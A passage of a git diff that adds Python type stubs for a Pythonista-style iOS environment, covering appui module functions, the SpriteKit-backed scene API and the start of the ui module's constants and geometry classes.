str = 'automatic') -> None: ... + + +# ═══════════════════════════════════════════════════════════ +# Module-Level Functions +# ═══════════════════════════════════════════════════════════ + +def run(body_func: Optional[Union[Callable[[], View], Callable[[Union[State, ReactiveState, None]], View]]] = None, + state: Optional[Union[State, ReactiveState]] = None, + hot_reload: bool = False, presentation: str = 'sheet', + body: Optional[Union[Callable[[], View], Callable[[Union[State, ReactiveState, None]], View]]] = None) -> None: + """Start the UI event loop. + + Args: + body_func: A function that returns the root ``View`` tree. It may be + declared as ``body()`` or ``body(state)``. + state: Optional ``State`` or ``ReactiveState`` for automatic rebuild on change. + hot_reload: Watch the source file and auto-reload on save. + presentation: ``'sheet'``, ``'fullscreen'``, ``'fullscreen_with_close'``. + """ + ... + +def dismiss() -> None: + """Dismiss the current appui presentation.""" + ... + +def animate(action: Callable[[], None], type: str = 'default') -> None: + """Wrap state changes in an animation. + + Example:: + + def show_view(): + state.batch_update(show=True) + + appui.animate(show_view, type="spring") + + Types: ``'default'``, ``'linear'``, ``'easeIn'``, ``'easeOut'``, ``'easeInOut'``, ``'spring'``. + """ + ... + +def auto_refresh(interval: float = 1.0) -> None: + """Force periodic UI rebuilds for live-updating content (clocks, dashboards).""" + ... + +def preload() -> None: + """Pre-initialize the native bridge to reduce first-run latency.""" + ... + +def set_custom_prop(view_or_handle: Any, prop_name: str, value: Any) -> None: + """Push an arbitrary property via Aurora binary UPDATE_PROPS. + + Falls back to full JSON rebuild if Aurora is inactive.""" + ... + +def call_native(function_name: str, **kwargs: Any) -> None: + """Invoke a native iOS function via the Aurora command buffer. + + Example:: + + appui.call_native("haptic", style="impact") + """ + ... + +def get_native_lib() -> Optional[ctypes.CDLL]: + """Return the ctypes handle to the Aurora native library, or ``None``. + + Useful for advanced users who need direct access to the C bridge. + """ + ... + + +# ═══════════════════════════════════════════════════════════ +# Grid Helpers +# ═══════════════════════════════════════════════════════════ + +def grid_item(type: str = 'flexible', minimum: Optional[float] = None, + maximum: Optional[float] = None, count: Optional[int] = None) -> Dict[str, Any]: + """Create a grid column/row specification.""" + ... + +def flexible(minimum: float = 10, maximum: Optional[float] = None) -> Dict[str, Any]: + """Flexible grid column that grows to fill space. + + Example:: + + appui.LazyVGrid(columns=[appui.flexible(), appui.flexible()]) + """ + ... + +def fixed(size: float) -> Dict[str, Any]: + """Fixed-width grid column.""" + ... + +def adaptive(minimum: float = 50, maximum: Optional[float] = None) -> Dict[str, Any]: + """Adaptive grid column that fits as many items as possible above ``minimum``.""" + ... + +def custom_font(name: str, size: float = 17) -> str: + """Reference a custom font by PostScript name. + + Example:: + + appui.Text("Hello").font(appui.custom_font("Avenir-Heavy", 24)) + """ + ... diff --git a/docs/stubs/scene.pyi b/docs/stubs/scene.pyi new file mode 100644 index 0000000..dcfc436 --- /dev/null +++ b/docs/stubs/scene.pyi @@ -0,0 +1,940 @@ +""" +Type stubs for `scene` — Pythonista-compatible 2D scene API (SpriteKit bridge). +""" + +from __future__ import annotations + +__all__ = [ + 'Scene', 'Node', 'SpriteNode', 'LabelNode', 'ShapeNode', 'EffectNode', 'EmitterNode', + 'Action', 'Texture', 'Shader', 'SceneView', + 'Touch', 'Vector2', 'Vector3', 'Size', 'Rect', 'Point', 'EdgeInsets', + 'PhysicsBody', 'PhysicsWorld', 'Contact', + 'PinJoint', 'SpringJoint', 'RopeJoint', + 'run', 'get_screen_size', 'get_screen_scale', 'gravity', 'play_effect', + 'get_image_path', 'get_controllers', 'get_safe_area_insets', + 'background', 'fill', 'no_fill', 'stroke', 'no_stroke', 'stroke_weight', + 'tint', 'no_tint', 'rect', 'ellipse', 'line', 'image', 'text', + 'translate', 'rotate', 'scale', 'push_matrix', 'pop_matrix', + 'blend_mode', 'use_shader', 'load_image', 'load_image_file', 'load_pil_image', + 'render_text', 'unload_image', 'image_quad', 'triangle_strip', + 'BLEND_NORMAL', 'BLEND_ADD', 'BLEND_MULTIPLY', + 'DEFAULT_ORIENTATION', 'PORTRAIT', 'LANDSCAPE', + 'TIMING_LINEAR', 'TIMING_EASE_IN', 'TIMING_EASE_IN_2', + 'TIMING_EASE_OUT', 'TIMING_EASE_OUT_2', 'TIMING_EASE_IN_OUT', + 'TIMING_SINODIAL', + 'TIMING_EASE_BACK_IN', 'TIMING_EASE_BACK_OUT', 'TIMING_EASE_BACK_IN_OUT', + 'TIMING_ELASTIC_IN', 'TIMING_ELASTIC_OUT', 'TIMING_ELASTIC_IN_OUT', + 'TIMING_BOUNCE_IN', 'TIMING_BOUNCE_OUT', 'TIMING_BOUNCE_IN_OUT', + 'FILTERING_LINEAR', 'FILTERING_NEAREST', +] + +from typing import ( + Any, + Callable, + Dict, + Iterator, + List, + Optional, + Sequence, + Tuple, + Union, + overload, +) +from typing_extensions import Self + +ColorLike = Union[str, Tuple[float, ...], List[float], float] +"""Color: name string, RGBA tuple, RGB list, or gray float.""" + +# --- Constants --- + +DEFAULT_ORIENTATION: int +PORTRAIT: int +LANDSCAPE: int + +BLEND_NORMAL: int +BLEND_ADD: int +BLEND_MULTIPLY: int + +TIMING_LINEAR: int +TIMING_EASE_IN: int +TIMING_EASE_IN_2: int +TIMING_EASE_OUT: int +TIMING_EASE_OUT_2: int +TIMING_EASE_IN_OUT: int +TIMING_SINODIAL: int +TIMING_ELASTIC_IN: int +TIMING_ELASTIC_OUT: int +TIMING_ELASTIC_IN_OUT: int +TIMING_BOUNCE_IN: int +TIMING_BOUNCE_OUT: int +TIMING_BOUNCE_IN_OUT: int +TIMING_EASE_BACK_IN: int +TIMING_EASE_BACK_OUT: int +TIMING_EASE_BACK_IN_OUT: int + +FILTERING_LINEAR: int +FILTERING_NEAREST: int + +# --- Geometry --- + +class Vector2: + __slots__: Tuple[str, ...] + x: float + y: float + + def __init__(self, x: float, y: float) -> None: ... + def __getitem__(self, i: int) -> float: ... + def __iter__(self) -> Iterator[float]: ... + def __add__(self, other: Any) -> Vector2: ... + def __sub__(self, other: Any) -> Vector2: ... + def __mul__(self, other: Any) -> Vector2: ... + def __truediv__(self, other: Any) -> Vector2: ... + def __radd__(self, other: Any) -> Any: ... + def __rsub__(self, other: Any) -> Any: ... + def __rmul__(self, other: Any) -> Any: ... + def __iadd__(self, other: Any) -> Self: ... + def __isub__(self, other: Any) -> Self: ... + def __imul__(self, other: Any) -> Self: ... + def __itruediv__(self, other: Any) -> Self: ... + def __neg__(self) -> Self: ... + def __eq__(self, other: object) -> bool: ... + def __ne__(self, other: object) -> bool: ... + def __hash__(self) -> int: ... + def __abs__(self) -> float: ... + def __len__(self) -> int: ... + def __repr__(self) -> str: ... + def __bool__(self) -> bool: ... + + +class EdgeInsets: + """Edge insets (top, bottom, left, right) for safe area.""" + __slots__: Tuple[str, ...] + top: float + bottom: float + left: float + right: float + + def __init__( + self, + top: float = 0.0, + bottom: float = 0.0, + left: float = 0.0, + right: float = 0.0, + ) -> None: ... + def __repr__(self) -> str: ... + + +class Vector3: + """3D vector for gravity sensors etc.""" + __slots__: Tuple[str, ...] + x: float + y: float + z: float + + def __init__(self, x: float = 0.0, y: float = 0.0, z: float = 0.0) -> None: ... + def __getitem__(self, i: int) -> float: ... + def __iter__(self) -> Iterator[float]: ... + def __len__(self) -> int: ... + def __repr__(self) -> str: ... + + +class Point(Vector2): + """Position (x, y).""" + + def __add__(self, other: Any) -> Point: ... + def __sub__(self, other: Any) -> Point: ... + def __mul__(self, other: Any) -> Point: ... + def __truediv__(self, other: Any) -> Point: ... + def __repr__(self) -> str: ... + + +class Size(Vector2): + """Size (w, h). w/h as aliases for x/y.""" + __slots__: Tuple[str, ...] + + @property + def w(self) -> float: ... + @w.setter + def w(self, v: float) -> None: ... + @property + def h(self) -> float: ... + @h.setter + def h(self, v: float) -> None: ... + + def __add__(self, other: Any) -> Size: ... + def __sub__(self, other: Any) -> Size: ... + def __mul__(self, other: Any) -> Size: ... + def __truediv__(self, other: Any) -> Size: ... + def __repr__(self) -> str: ... + + +class Rect: + """Rect (x, y, w, h). Origin lower-left.""" + __slots__: Tuple[str, ...] + x: float + y: float + w: float + h: float + + def __init__(self, x: float, y: float, w: float, h: float) -> None: ... + @property + def width(self) -> float: ... + @property + def height(self) -> float: ... + @property + def origin(self) -> Point: ... + @property + def size(self) -> Size: ... + @property + def min_x(self) -> float: ... + @property + def max_x(self) -> float: ... + @property + def min_y(self) -> float: ... + @property + def max_y(self) -> float: ... + def center(self, p: Optional[Point] = None) -> Point: ... + def contains_point(self, p: Point) -> bool: ... + def contains_rect(self, other: Rect) -> bool: ... + def intersects(self, other: Rect) -> bool: ... + def intersection(self, other: Rect) -> Rect: ... + def union(self, other: Rect) -> Rect: ... + def inset( + self, + top: float, + left: float, + bottom: Optional[float] = None, + right: Optional[float] = None, + ) -> Rect: ... + def __getitem__(self, i: int) -> float: ... + def __iter__(self) -> Iterator[float]: ... + def translate(self, x: float, y: float) -> Rect: ... + def __contains__(self, point: Any) -> bool: ... + def __repr__(self) -> str: ... + def __len__(self) -> int: ... + def __eq__(self, other: object) -> bool: ... + def __hash__(self) -> int: ... + + +class Touch: + """Touch event: location, prev_location, touch_id.""" + __slots__: Tuple[str, ...] + touch_id: int + + def __init__( + self, + x: float, + y: float, + prev_x: float, + prev_y: float, + touch_id: int, + ) -> None: ... + @property + def location(self) -> Point: ... + @property + def prev_location(self) -> Point: ... + + +class Contact: + """Collision contact for physics callbacks.""" + __slots__: Tuple[str, ...] + node_a: Node + node_b: Node + contact_point: Point + collision_impulse: float + body_a: Node + body_b: Node + + def __init__( + self, + node_a: Node, + node_b: Node, + px: float, + py: float, + impulse: float, + ) -> None: ... + + +class SceneView: + """Embeddable Scene container (pairs with `ui.View`).""" + + def __init__(self) -> None: ... + @property + def view(self) -> Any: ... + @property + def scene(self) -> Optional[Scene]: ... + @scene.setter + def scene(self, value: Optional[Scene]) -> None: ... + @property + def paused(self) -> bool: ... + @paused.setter + def paused(self, value: bool) -> None: ... + @property + def frame_interval(self) -> int: ... + @frame_interval.setter + def frame_interval(self, value: int) -> None: ... + @property + def anti_alias(self) -> bool: ... + @anti_alias.setter + def anti_alias(self, value: bool) -> None: ... + @property + def shows_fps(self) -> bool: ... + @shows_fps.setter + def shows_fps(self, value: bool) -> None: ... + + +class Scene: + """Base scene: override setup(), update(), draw(), touch handlers, etc.""" + + def __init__(self) -> None: ... + @property + def frame_count(self) -> int: ... + @property + def touches(self) -> Dict[int, Touch]: ... + @property + def t(self) -> float: ... + @property + def dt(self) -> float: ... + @property + def background_color(self) -> Tuple[float, float, float, float]: ... + @background_color.setter + def background_color(self, value: Any) -> None: ... + @property + def children(self) -> List[Node]: ... + @property + def physics_world(self) -> PhysicsWorld: ... + @property + def safe_area_insets(self) -> EdgeInsets: ... + @property + def effects_enabled(self) -> bool: ... + @effects_enabled.setter + def effects_enabled(self, value: bool) -> None: ... + @property + def crop_rect(self) -> Any: ... + @crop_rect.setter + def crop_rect(self, value: Any) -> None: ... + @property + def view(self) -> Any: ... + @property + def presented_scene(self) -> Optional[Scene]: ... + @property + def presenting_scene(self) -> Optional[Scene]: ... + def setup(self) -> None: ... + def update(self) -> None: ... + def draw(self) -> None: ... + def did_evaluate_actions(self) -> None: ... + def touch_began(self, touch: Touch) -> None: ... + def touch_moved(self, touch: Touch) -> None: ... + def touch_ended(self, touch: Touch) -> None: ... + def did_change_size(self) -> None: ... + def controller_changed(self, key: str, value: Any) -> None: ... + def present_modal_scene(self, other: Scene) -> None: ... + def dismiss_modal_scene(self) -> None: ... + def pause(self) -> None: ... + def resume(self) -> None: ... + def stop(self) -> None: ... + def add_child(self, node: Node) -> None: ... + def remove_all_children(self) -> None: ... + + +def run( + scene: Scene, + *, + orientation: int = ..., + frame_interval: int = ..., + anti_alias: bool = ..., + show_fps: bool = ..., + multi_touch: bool = ..., + _mode: str = ..., +) -> None: ... + + +def get_screen_size() -> Size: ... +def get_screen_scale() -> float: ... +def gravity() -> Vector3: ... +def get_safe_area_insets() -> EdgeInsets: ... +def play_effect(name: str, volume: float = ..., pitch: float = ...) -> None: ... +def get_image_path(name: str) -> Optional[str]: ... +def get_controllers() -> List[Dict[str, Any]]: ... + + +class Texture: + """Bitmap texture for sprites (name, file path, or image object).""" + + def __init__(self, name_or_image: Any) -> None: ... + @property + def size(self) -> Size: ... + @property + def filtering_mode(self) -> int: ... + @filtering_mode.setter + def filtering_mode(self, value: int) -> None: ... + def subtexture(self, rect: Union[Rect, Sequence[float]]) -> Texture: ... + + +class PhysicsWorld: + """Scene physics world (gravity).""" + + def __init__(self, scene: Scene) -> None: ... + @property + def gravity(self) -> Vector2: ... + @gravity.setter + def gravity(self, v: Sequence[float]) -> None: ... + + +class PhysicsBody: + """Physics body attached to a node.""" + + type: str + size: Tuple[float, float] + + def __init__( + self, + type: str = ..., + size: Optional[Tuple[float, float]] = None, + ) -> None: ... + @classmethod + def rectangle( + cls, + width: float = ..., + height: float = ..., + w: float = ..., + h: float = ..., + ) -> PhysicsBody: ... + @classmethod + def circle(cls, radius: float = ..., r: float = ...) -> PhysicsBody: ... + @property + def affected_by_gravity(self) -> bool: ... + @affected_by_gravity.setter + def affected_by_gravity(self, v: bool) -> None: ... + @property + def allows_rotation(self) -> bool: ... + @allows_rotation.setter + def allows_rotation(self, v: bool) -> None: ... + @property + def dynamic(self) -> bool: ... + @dynamic.setter + def dynamic(self, v: bool) -> None: ... + @property + def restitution(self) -> float: ... + @restitution.setter + def restitution(self, v: float) -> None: ... + @property + def friction(self) -> float: ... + @friction.setter + def friction(self, v: float) -> None: ... + @property + def linear_damping(self) -> float: ... + @linear_damping.setter + def linear_damping(self, v: float) -> None: ... + @property + def angular_damping(self) -> float: ... + @angular_damping.setter + def angular_damping(self, v: float) -> None: ... + @property + def mass(self) -> float: ... + @mass.setter + def mass(self, v: float) -> None: ... + @property + def density(self) -> float: ... + @density.setter + def density(self, v: float) -> None: ... + @property + def angular_velocity(self) -> float: ... + @angular_velocity.setter + def angular_velocity(self, v: float) -> None: ... + @property + def velocity(self) -> Vector2: ... + @velocity.setter + def velocity(self, v: Sequence[float]) -> None: ... + @overload + def apply_impulse(self, impulse: Sequence[float]) -> None: ... + @overload + def apply_impulse(self, dx: float, dy: float) -> None: ... + @overload + def apply_force(self, force: Sequence[float]) -> None: ... + @overload + def apply_force(self, fx: float, fy: float) -> None: ... + @property + def category_bitmask(self) -> int: ... + @category_bitmask.setter + def category_bitmask(self, v: int) -> None: ... + @property + def collision_bitmask(self) -> int: ... + @collision_bitmask.setter + def collision_bitmask(self, v: int) -> None: ... + @property + def contact_test_bitmask(self) -> int: ... + @contact_test_bitmask.setter + def contact_test_bitmask(self, v: int) -> None: ... + + +class Joint: + """Base class for physics joints (implementation detail for Pin/Spring/Rope).""" + node_a: Node + node_b: Node + + def __init__(self, node_a: Node, node_b: Node) -> None: ... + + +class PinJoint(Joint): + def __init__( + self, + node_a: Node, + node_b: Node, + anchor: Tuple[float, float], + ) -> None: ... + + +class SpringJoint(Joint): + def __init__( + self, + node_a: Node, + node_b: Node, + anchor_a: Tuple[float, float], + anchor_b: Tuple[float, float], + *, + damping: float = ..., + frequency: float = ..., + ) -> None: ... + + +class RopeJoint(Joint): + def __init__( + self, + node_a: Node, + node_b: Node, + anchor_a: Tuple[float, float], + anchor_b: Tuple[float, float], + ) -> None: ... + + +class Shader: + """Custom fragment shader for nodes.""" + + source: str + + def __init__(self, source: str) -> None: ... + def set_uniform(self, name: str, value: Any) -> None: ... + def get_uniform(self, name: str) -> Optional[float]: ... + def get_uniform_vec(self, name: str) -> Optional[Tuple[float, ...]]: ... + + +class Node: + """Base node: transform, hierarchy, actions, physics.""" + + def __init__( + self, + position: Tuple[float, float] = ..., + *, + z_position: float = ..., + scale: float = ..., + x_scale: float = ..., + y_scale: float = ..., + alpha: float = ..., + parent: Optional[Node] = None, + **kwargs: Any, + ) -> None: ... + @property + def position(self) -> Point: ... + @position.setter + def position(self, value: Any) -> None: ... + @property + def rotation(self) -> float: ... + @rotation.setter + def rotation(self, value: float) -> None: ... + @property + def x_scale(self) -> float: ... + @x_scale.setter + def x_scale(self, value: float) -> None: ... + @property + def y_scale(self) -> float: ... + @y_scale.setter + def y_scale(self, value: float) -> None: ... + @property + def children(self) -> List[Node]: ... + @property + def parent(self) -> Optional[Any]: ... + @property + def scale(self) -> float: ... + @scale.setter + def scale(self, value: float) -> None: ... + @property + def alpha(self) -> float: ... + @alpha.setter + def alpha(self, value: float) -> None: ... + @property + def shader(self) -> Optional[Shader]: ... + @shader.setter + def shader(self, value: Optional[Shader]) -> None: ... + @property + def z_position(self) -> float: ... + @z_position.setter + def z_position(self, value: float) -> None: ... + @property + def physics_body(self) -> Optional[PhysicsBody]: ... + @physics_body.setter + def physics_body(self, value: Optional[PhysicsBody]) -> None: ... + def add_child(self, node: Node) -> None: ... + def remove_from_parent(self) -> None: ... + def remove_all_children(self) -> None: ... + def convert_point(self, point: Any, to_node: Node) -> Point: ... + def run_action(self, action: Action, key: Optional[str] = None) -> None: ... + def remove_action(self, key: str) -> None: ... + def remove_all_actions(self) -> None: ... + @property + def frame(self) -> Rect: ... + @property + def bbox(self) -> Rect: ... + @property + def blend_mode(self) -> int: ... + @blend_mode.setter + def blend_mode(self, value: int) -> None: ... + @property + def speed(self) -> float: ... + @speed.setter + def speed(self, value: float) -> None: ... + @property + def paused(self) -> bool: ... + @paused.setter + def paused(self, value: bool) -> None: ... + @property + def scene(self) -> Optional[Scene]: ... + def point_to_scene(self, point: Any) -> Point: ... + def point_from_scene(self, point: Any) -> Point: ... + def render_to_texture(self, crop_rect: Any = None) -> Texture: ... + + +class SpriteNode(Node): + def __init__( + self, + texture: Any = None, + position: Tuple[float, float] = ..., + *, + z_position: float = ..., + scale: float = ..., + x_scale: float = ..., + y_scale: float = ..., + alpha: float = ..., + speed: float = ..., + parent: Optional[Node] = None, + size: Optional[Sequence[float]] = None, + color: Optional[ColorLike] = ..., + blend_mode: int = ..., + **kwargs: Any, + ) -> None: ... + @property + def size(self) -> Size: ... + @size.setter + def size(self, value: Any) -> None: ... + @property + def texture(self) -> Any: ... + @texture.setter + def texture(self, value: Any) -> None: ... + @property + def color_blend_factor(self) -> float: ... + @color_blend_factor.setter + def color_blend_factor(self, value: float) -> None: ... + @property + def anchor_point(self) -> Point: ... + @anchor_point.setter + def anchor_point(self, value: Sequence[float]) -> None: ... + @property + def color(self) -> Any: ... + @color.setter + def color(self, value: Any) -> None: ... + + +class LabelNode(Node): + def __init__( + self, + text: Union[str, int, float] = ..., + font: Union[Tuple[str, float], Sequence[Any]] = ..., + position: Tuple[float, float] = ..., + *, + z_position: float = ..., + scale: float = ..., + x_scale: float = ..., + y_scale: float = ..., + alpha: float = ..., + speed: float = ..., + parent: Optional[Node] = None, + **kwargs: Any, + ) -> None: ... + @property + def color(self) -> Any: ... + @color.setter + def color(self, value: Any) -> None: ... + @property + def text(self) -> str: ... + @text.setter + def text(self, value: str) -> None: ... + @property + def font(self) -> Tuple[str, float]: ... + @font.setter + def font(self, value: Tuple[str, float]) -> None: ... + @property + def alignment(self) -> Tuple[int, int]: ... + @alignment.setter + def alignment(self, value: Tuple[int, int]) -> None: ... + + +class ShapeNode(Node): + def __init__( + self, + path: Any = None, + fill_color: Optional[ColorLike] = ..., + stroke_color: Optional[ColorLike] = ..., + shadow: Any = None, + position: Tuple[float, float] = ..., + *, + z_position: float = ..., + scale: float = ..., + x_scale: float = ..., + y_scale: float = ..., + alpha: float = ..., + speed: float = ..., + parent: Optional[Node] = None, + **kwargs: Any, + ) -> None: ... + @property + def path(self) -> Any: ... + @path.setter + def path(self, value: Any) -> None: ... + def set_path(self, path: Any) -> None: ... + @property + def line_width(self) -> float: ... + @line_width.setter + def line_width(self, value: float) -> None: ... + @property + def stroke_width(self) -> float: ... + @stroke_width.setter + def stroke_width(self, value: float) -> None: ... + @property + def fill_color(self) -> Any: ... + @fill_color.setter + def fill_color(self, value: Any) -> None: ... + @property + def stroke_color(self) -> Any: ... + @stroke_color.setter + def stroke_color(self, value: Any) -> None: ... + @property + def shadow(self) -> Any: ... + @shadow.setter + def shadow(self, value: Any) -> None: ... + + +class EffectNode(Node): + def __init__( + self, + position: Tuple[float, float] = ..., + *, + z_position: float = ..., + scale: float = ..., + x_scale: float = ..., + y_scale: float = ..., + alpha: float = ..., + speed: float = ..., + parent: Optional[Node] = None, + **kwargs: Any, + ) -> None: ... + @property + def effects_enabled(self) -> bool: ... + @effects_enabled.setter + def effects_enabled(self, value: bool) -> None: ... + @property + def crop_rect(self) -> Any: ... + @crop_rect.setter + def crop_rect(self, value: Any) -> None: ... + + +class EmitterNode(Node): + def __init__( + self, + file_named: Optional[str] = None, + position: Tuple[float, float] = ..., + *, + z_position: float = ..., + scale: float = ..., + x_scale: float = ..., + y_scale: float = ..., + alpha: float = ..., + speed: float = ..., + parent: Optional[Node] = None, + **kwargs: Any, + ) -> None: ... + + +class Action: + """Factory for SpriteKit-style actions.""" + + duration: float + timing_mode: int + + def __init__(self) -> None: ... + @staticmethod + def move_to( + x: float, + y: float, + duration: float = ..., + timing_mode: int = ..., + ) -> Action: ... + @staticmethod + def move_by( + dx: float, + dy: float, + duration: float = ..., + timing_mode: int = ..., + ) -> Action: ... + @staticmethod + def sequence(*actions: Action) -> Action: ... + @staticmethod + def group(*actions: Action) -> Action: ... + @staticmethod + def repeat(action: Action, count: int) -> Action: ... + @staticmethod + def repeat_forever(action: Action) -> Action: ... + @staticmethod + def wait(duration: float) -> Action: ... + @staticmethod + def remove() -> Action: ... + @staticmethod + def rotate_to( + angle: float, + duration: float = ..., + timing_mode: int = ..., + ) -> Action: ... + @staticmethod + def rotate_by( + angle: float, + duration: float = ..., + timing_mode: int = ..., + ) -> Action: ... + @staticmethod + def scale_to( + scale: float, + duration: float = ..., + timing_mode: int = ..., + ) -> Action: ... + @staticmethod + def scale_by( + scale: float, + duration: float = ..., + timing_mode: int = ..., + ) -> Action: ... + @staticmethod + def scale_x_to( + scale: float, + duration: float = ..., + timing_mode: int = ..., + ) -> Action: ... + @staticmethod + def scale_y_to( + scale: float, + duration: float = ..., + timing_mode: int = ..., + ) -> Action: ... + @staticmethod + def fade_to( + alpha: float, + duration: float = ..., + timing_mode: int = ..., + ) -> Action: ... + @staticmethod + def fade_by( + alpha: float, + duration: float = ..., + timing_mode: int = ..., + ) -> Action: ... + @staticmethod + def set_uniform( + name: str, + value: Any, + duration: float = ..., + timing_mode: int = ..., + ) -> Action: ... + @staticmethod + def call( + callback: Callable[..., Any], + duration: float = ..., + scene: Optional[Scene] = None, + ) -> Action: ... + + +# --- scene_drawing re-exports (lazy-loaded at runtime) --- + +def background(r: float = ..., g: float = ..., b: float = ...) -> None: ... +def fill(r: float = ..., g: float = ..., b: float = ..., a: float = ...) -> None: ... +def no_fill() -> None: ... +def stroke(r: float, g: float, b: float, a: float = ...) -> None: ... +def no_stroke() -> None: ... +def stroke_weight(line_width: float) -> None: ... +def tint(r: float = ..., g: float = ..., b: float = ..., a: float = ...) -> None: ... +def no_tint() -> None: ... +def rect( + x: float = ..., + y: float = ..., + w: float = ..., + h: float = ..., + corner_radius: float = ..., +) -> None: ... +def ellipse(x: float = ..., y: float = ..., w: float = ..., h: float = ...) -> None: ... +def line(x1: float, y1: float, x2: float, y2: float) -> None: ... +def image( + name: str, + x: float = ..., + y: float = ..., + w: float = ..., + h: float = ..., + from_x: Optional[float] = None, + from_y: Optional[float] = None, + from_w: Optional[float] = None, + from_h: Optional[float] = None, +) -> None: ... +def text( + txt: str, + font_name: str = ..., + font_size: float = ..., + x: float = ..., + y: float = ..., + alignment: int = ..., +) -> None: ... +def translate(x: float, y: float) -> None: ... +def rotate(deg: float) -> None: ... +def scale(x: float, y: float) -> None: ... +def push_matrix() -> None: ... +def pop_matrix() -> None: ... +def blend_mode(mode: int) -> None: ... +def use_shader(shader: Any) -> None: ... +def load_image(image_name: str) -> None: ... +def load_image_file(image_path: str) -> Optional[str]: ... +def load_pil_image(pil_image: Any) -> Optional[str]: ... +def render_text( + txt: str, + font_name: str = ..., + font_size: float = ..., +) -> Tuple[Optional[str], Size]: ... +def unload_image(image_name: str) -> None: ... +def image_quad( + name: str, + x1: float, + y1: float, + x2: float, + y2: float, + x3: float, + y3: float, + x4: float, + y4: float, + from_x1: Optional[float] = None, + from_y1: Optional[float] = None, + from_x2: Optional[float] = None, + from_y2: Optional[float] = None, + from_x3: Optional[float] = None, + from_y3: Optional[float] = None, + from_x4: Optional[float] = None, + from_y4: Optional[float] = None, +) -> None: ... +def triangle_strip( + points: Sequence[Tuple[float, float]], + tex_coords: Optional[Sequence[Tuple[float, float]]] = None, + image_name: Optional[str] = None, +) -> None: ... diff --git a/docs/stubs/ui.pyi b/docs/stubs/ui.pyi new file mode 100644 index 0000000..16fff77 --- /dev/null +++ b/docs/stubs/ui.pyi @@ -0,0 +1,1260 @@ +# Stubs for pyboot.ui — generated for IDE completion; see ui.py for behavior. +from __future__ import annotations + +import datetime +from types import TracebackType +from typing import ( + Any, + Callable, + ClassVar, + Dict, + List, + Optional, + Sequence, + Tuple, + Union, +) + +from typing_extensions import Self + +# --- Constants (int) --- +ALIGN_LEFT: int +ALIGN_CENTER: int +ALIGN_RIGHT: int +ALIGN_JUSTIFIED: int +ALIGN_NATURAL: int + +LB_WORD_WRAP: int +LB_CHAR_WRAP: int +LB_CLIP: int +LB_TRUNCATE_HEAD: int +LB_TRUNCATE_TAIL: int +LB_TRUNCATE_MIDDLE: int + +KEYBOARD_DEFAULT: int +KEYBOARD_ASCII: int +KEYBOARD_NUMBERS: int +KEYBOARD_URL: int +KEYBOARD_NUMBER_PAD: int +KEYBOARD_PHONE_PAD: int +KEYBOARD_NAME_PHONE_PAD: int +KEYBOARD_EMAIL: int +KEYBOARD_DECIMAL_PAD: int +KEYBOARD_TWITTER: int +KEYBOARD_WEB_SEARCH: int + +BLEND_NORMAL: int +BLEND_MULTIPLY: int +BLEND_SCREEN: int +BLEND_OVERLAY: int +BLEND_DARKEN: int +BLEND_LIGHTEN: int +BLEND_COLOR_DODGE: int +BLEND_COLOR_BURN: int +BLEND_SOFT_LIGHT: int +BLEND_HARD_LIGHT: int +BLEND_DIFFERENCE: int +BLEND_EXCLUSION: int +BLEND_HUE: int +BLEND_SATURATION: int +BLEND_COLOR: int +BLEND_LUMINOSITY: int +BLEND_CLEAR: int +BLEND_COPY: int +BLEND_SOURCE_IN: int +BLEND_SOURCE_OUT: int +BLEND_SOURCE_ATOP: int +BLEND_DESTINATION_OVER: int +BLEND_DESTINATION_IN: int +BLEND_DESTINATION_OUT: int +BLEND_DESTINATION_ATOP: int +BLEND_XOR: int +BLEND_PLUS_DARKER: int +BLEND_PLUS_LIGHTER: int + +LINE_CAP_BUTT: int +LINE_CAP_ROUND: int +LINE_CAP_SQUARE: int +LINE_JOIN_MITER: int +LINE_JOIN_ROUND: int +LINE_JOIN_BEVEL: int + +RENDERING_MODE_AUTOMATIC: int +RENDERING_MODE_ORIGINAL: int +RENDERING_MODE_TEMPLATE: int + +CONTENT_SCALE_TO_FILL: int +CONTENT_SCALE_ASPECT_FIT: int +CONTENT_SCALE_ASPECT_FILL: int +CONTENT_REDRAW: int +CONTENT_CENTER: int +CONTENT_TOP: int +CONTENT_BOTTOM: int +CONTENT_LEFT: int +CONTENT_RIGHT: int +CONTENT_TOP_LEFT: int +CONTENT_TOP_RIGHT: int +CONTENT_BOTTOM_LEFT: int +CONTENT_BOTTOM_RIGHT: int + +DATE_PICKER_MODE_TIME: int +DATE_PICKER_MODE_DATE: int +DATE_PICKER_MODE_DATE_AND_TIME: int +DATE_PICKER_MODE_COUNTDOWN: int + +ACTIVITY_INDICATOR_STYLE_GRAY: int +ACTIVITY_INDICATOR_STYLE_WHITE: int +ACTIVITY_INDICATOR_STYLE_WHITE_LARGE: int + +class Color: + COLORS: ClassVar[Dict[str, Tuple[float, float, float, float]]] + r: float + g: float + b: float + a: float + def __init__(self, r: float, g: float, b: float, a: float = 1.0) -> None: ... + @classmethod + def rgb(cls, r: float, g: float, b: float, a: float = 1.0) -> Color: ... + @classmethod + def hex(cls, hex_string: str) -> Color: ... + @classmethod + def named(cls, name: str) -> Color: ... + +class Point: + x: float + y: float + def __init__(self, x: Union[float, Sequence[float]] = 0.0, y: float = 0.0) -> None: ... + def __getitem__(self, i: int) -> float: ... + def __len__(self) -> int: ... + def as_tuple(self) -> Tuple[float, float]: ... + +class Size: + w: float + h: float + width: float + height: float + def __init__(self, w: Union[float, Sequence[float]] = 0.0, h: float = 0.0) -> None: ... + def __getitem__(self, i: int) -> float: ... + def __len__(self) -> int: ... + +class Rect: + x: float + y: float + w: float + h: float + width: float + height: float + @property + def min_x(self) -> float: ... + @property + def min_y(self) -> float: ... + @property + def max_x(self) -> float: ... + @property + def max_y(self) -> float: ... + @property + def origin(self) -> Point: ... + @property + def size(self) -> Size: ... + def __init__( + self, + x: Union[float, Sequence[float]] = 0.0, + y: float = 0.0, + w: float = 0.0, + h: float = 0.0, + ) -> None: ... + def center(self) -> Point: ... + def as_tuple(self) -> Tuple[float, float, float, float]: ... + def contains_point(self, point: Any) -> bool: ... + def contains_rect(self, rect: Any) -> bool: ... + def inset(self, dx: float, dy: float) -> Rect: ... + def intersection(self, rect: Any) -> Rect: ... + def intersects(self, rect: Any) -> bool: ... + def translate(self, dx: float, dy: float) -> Rect: ... + def union(self, rect: Any) -> Rect: ... + def __getitem__(self, i: int) -> float: ... + def __len__(self) -> int: ... + +class Transform: + a: float + b: float + c: float + d: float + tx: float + ty: float + def __init__( + self, + a: float = 1.0, + b: float = 0.0, + c: float = 0.0, + d: float = 1.0, + tx: float = 0.0, + ty: float = 0.0, + ) -> None: ... + @classmethod + def rotation(cls, rad: 